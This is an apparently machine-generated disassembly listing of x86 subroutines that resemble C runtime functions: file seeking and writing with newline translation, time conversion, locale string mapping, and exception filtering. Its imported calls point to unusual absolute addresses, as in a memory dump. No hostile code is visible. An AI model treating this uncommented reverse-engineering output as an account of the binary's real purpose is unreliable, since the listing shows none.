
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4E0BD8
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_442174
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4E21C8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 2670000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_44263C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_442558
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_44255C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_442560


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4E1F80
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4E1E80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4E0B28, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2780000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2690A97h
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4E1E80[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4E0B28, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1E80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4E1F80
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1E80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4E0B28, 9
		mov	dword_4E0B2C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 2690A97h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		call	near ptr 2690A97h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4E0B28, 1Ch
		mov	dword_4E0B2C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4E0BFC, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4E0BFC, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4D06DC
		push	esi
		push	edi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4E0BFC, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4E0BFC
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2840000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4E0C00
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4E0C00, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_4421F0
		mov	edx, dword_4421F4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:442180h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_4421FC
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_4421FC, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_4421FC, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_4421FC, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_4421FC, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_4421FC, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_4421FC, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_4421FC, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_4421FC
		push	8
		call	ebx
		pop	ecx
		mov	dword_4421FC, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4E0C00, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2640000h


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
